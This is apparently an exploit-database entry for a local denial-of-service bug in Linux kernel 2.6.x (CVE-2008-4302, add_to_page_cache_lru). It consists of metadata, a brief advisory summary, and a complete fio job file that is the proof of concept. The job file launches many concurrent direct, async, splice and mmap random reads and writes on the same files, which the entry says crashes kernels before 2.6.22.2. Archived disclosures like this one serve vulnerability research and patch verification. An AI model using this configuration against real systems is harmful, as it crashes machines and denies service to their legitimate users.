Linux Kernel 2.6.x - 'add_to_page_cache_lru()' Local Denial of Service
Author: Jens Axboe
type: dos
platform: linux
port:
date_added: 2007-07-20
date_updated: 2014-03-20
verified: 1
codes: CVE-2008-4302;OSVDB-49898
tags:
aliases:
screenshot_url:
application_url:
source: https://www.securityfocus.com/bid/31201/info
The Linux kernel is prone to a local denial-of-service vulnerability.
Attackers can exploit this issue to cause the kernel to crash, denying service to legitimate users.
This issue affects versions prior to Linux kernel 2.6.22.2.
[global]
bs=8k
iodepth=1024
iodepth_batch=60
randrepeat=1
size=1m
directory=/home/oracle
numjobs=20
[job1]
ioengine=sync
bs=1k
direct=1
rw=randread
filename=file1:file2
[job2]
ioengine=libaio
rw=randwrite
direct=1
filename=file1:file2
[job3]
bs=1k
ioengine=posixaio
rw=randwrite
direct=1
filename=file1:file2
[job4]
ioengine=splice
direct=1
rw=randwrite
filename=file1:file2
[job5]
bs=1k
ioengine=sync
rw=randread
filename=file1:file2
[job7]
ioengine=libaio
rw=randwrite
filename=file1:file2
[job8]
ioengine=posixaio
rw=randwrite
filename=file1:file2
[job9]
ioengine=splice
rw=randwrite
filename=file1:file2
[job10]
ioengine=mmap
rw=randwrite
bs=1k
filename=file1:file2
[job11]
ioengine=mmap
rw=randwrite
direct=1
filename=file1:file2